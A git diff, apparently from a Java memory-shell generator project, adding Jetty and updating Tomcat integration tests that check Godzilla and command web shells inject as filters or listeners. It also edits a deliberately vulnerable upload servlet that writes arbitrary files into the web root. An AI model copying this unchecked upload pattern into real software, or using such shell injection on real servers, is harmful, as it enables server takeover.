casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java new file mode 100644 index 00000000..68a2f79e --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty92ContainerTest { + + public static final String imageName = "jetty:9.2-jre7"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java new file mode 100644 index 00000000..5f86d8da --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty93ContainerTest { + public static final String imageName = "jetty:9.3-jre8-alpine"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java new file mode 100644 index 00000000..184063c4 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -0,0 +1,52 @@ +package com.reajason.javaweb.integration.jetty; + +import com.reajason.javaweb.config.Constants; +import com.reajason.javaweb.config.Server; +import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memsell.packer.Packer; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.getUrl; +import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty94ContainerTest { + public static final String imageName = "jetty:9.4-jre8-slim"; + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + ); + } + + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); + + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 446d0ac9..b870dc65 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; @@ -32,10 +33,10 @@ public class Tomcat10ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, TomcatShell.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 8a951ec2..bcbd8796 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; @@ -33,10 +34,10 @@ public class Tomcat11ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, TomcatShell.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 7eb5f2fe..5077a090 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; @@ -32,10 +33,10 @@ public class Tomcat6ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index fd762d8d..bb1ea08f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; @@ -32,10 +33,10 @@ public class Tomcat7ContainerTest{ static Stream casesProvider() { return Stream.of( - arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 9ad9cbae..7457da91 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; @@ -32,14 +33,14 @@ public class Tomcat8ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index e925ed28..d969bba4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.integration.tomcat; +import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; @@ -30,10 +31,10 @@ public class Tomcat9ContainerTest{ static Stream casesProvider() { return Stream.of( - arguments(imageName, TomcatShell.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) ); diff --git a/vul-webapp-jakarta/src/main/java/TestServlet.java b/vul-webapp-jakarta/src/main/java/TestServlet.java new file mode 100644 index 00000000..4c3fd75d --- /dev/null +++ b/vul-webapp-jakarta/src/main/java/TestServlet.java @@ -0,0 +1,22 @@ +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public class TestServlet extends HttpServlet { + + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + + } +} diff --git a/vul-webapp-jakarta/src/main/java/UploadServlet.java b/vul-webapp-jakarta/src/main/java/UploadServlet.java index ae2bd2b1..b6b12b09 100644 --- a/vul-webapp-jakarta/src/main/java/UploadServlet.java +++ b/vul-webapp-jakarta/src/main/java/UploadServlet.java @@ -28,7 +28,7 @@ public class UploadServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Part file = request.getPart("file"); String fileName = getFileName(file); - String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName; + String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + File.separator + fileName; InputStream inputStream = file.getInputStream(); File uploadFile = new File(uploadPath); IOUtils.copy(inputStream, Files.newOutputStream(uploadFile.toPath())); diff --git a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index 94e804d2..c77477ae 100644 --- a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -10,6 +10,15 @@ index.html + + test + TestServlet + + + test + /test + + upload diff --git a/vul-webapp/src/main/java/TestServlet.java b/vul-webapp/src/main/java/TestServlet.java new file mode 100644 index 00000000..60d1dc55 --- /dev/null +++ b/vul-webapp/src/main/java/TestServlet.java @@ -0,0 +1,22 @@ +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +public class TestServlet extends HttpServlet { + + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + + } +} diff --git a/vul-webapp/src/main/java/UploadServlet.java b/vul-webapp/src/main/java/UploadServlet.java index a89ed97a..393fd00c 100644 --- a/vul-webapp/src/main/java/UploadServlet.java +++ b/vul-webapp/src/main/java/UploadServlet.java @@ -35,7 +35,7 @@ public class UploadServlet extends HttpServlet { for (FileItem item : items) { if (!item.isFormField()) { String fileName = new File(item.getName()).getName(); - String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + fileName; + String uploadPath = getServletContext().getRealPath(UPLOAD_DIRECTORY) + File.separator + fileName; File uploadFile = new File(uploadPath); item.write(uploadFile); response.getWriter().println("file upload success: " + uploadPath);